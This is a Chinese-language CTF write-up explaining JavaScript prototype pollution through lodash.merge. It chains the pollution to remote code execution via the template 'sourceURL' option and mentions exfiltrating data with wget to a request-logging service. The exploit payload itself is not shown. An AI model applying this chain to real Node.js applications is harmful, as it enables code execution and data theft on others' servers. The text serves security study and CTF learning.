https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf |
假设对于语句
1 |
obj[a][b][c] = value |
如果我们控制a为constructor,b为prototype,c为某个key,我们是不是就可以为这个对象父类初始化某个值,这个值会被继承到当前对象。同理如果a为__proto__
,b也为__proto__
,那么我们就可以为基类Object
定义某个值。
当然这种代码不会随时都出现,所以在实际场景下,这种攻击方式会影响什么样的操作呢。
首先我们需要理解的就是,我们想办法赋值的__proto__
对象并不是真正的这个对象,如图
所以想要写到真正的__proto__
中,我们需要一层赋值,就如同原文范例代码中的那样
通过这样的操作,我们就可以给Object基类定义一个变量名。
由于子类会继承父类的所有方法,但首先需要保证子类没有定义这个变量,因为只有当前类没有定义这个变量,才会去父类寻找。
在js代码中,经常能遇到这样的代码
1 2 3 |
if (!obj.aaa){ ... } |
这种情况下,js会去调用obj的aaa方法,如果aaa方法undefined,那么就会跟入到obj的父类中(js不会直接报该变量未定义并终止)。
这种情况下,我们通过定义obj的基类Object的aaa方法,就能操作这个变量,改变原来的代码走向。
最后让我们回到题目中来。
回到题目
回到题目中,这下代码的问题点很清楚了。整个代码有且只有1个输入点也就是req.body
,这个变量刚好通过lodash.merge
合并.
这里的lodash.merge
刚好也就是用于将两个对象合并,成功定义了__proto__
对象的变量。
我们也可以通过上面的技巧去覆盖某个值,但问题来了,我们怎么才能getshell呢?
顺着这个思路,我需要在整个代码中寻找一个,在影响Object之后,且可以执行命令的地方。
很幸运的是,虽然我没有特别研究明白nodejs,但我还是发现模板是动态生成的。
这里的代码是在请求后完成的(动态渲染?)
跟入到template函数中,可以很清楚的看到
接下来就是这一大串代码中寻找一个可以影响的变量,我们的目标是找一个未定义的变量,且后面有判断调用它
这里的sourceURL刚好符合这个条件,我们直接跟入前面的options定义处,进入函数一直跟下去,直到lodash.js的3515行。
可以看到object本身没有这个方法,但仍然遍历到了,成功注入了这个变量,紧接着渲染模板就成功执行代码了。
完成攻击
其实发现可以注入代码之后就简单了,我朋友说他不能用child_process来执行命令,我测试了一下发现是可以的,只是不能弹shell回来不知道怎么回事。思考了一下决定直接wget外带数据出来吧。
poc
需要注意一定要是json格式,否则__proto__
会解成字符串,开始坑了很久。
直接偷懒用ceye接请求,其实用什么都行
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/755/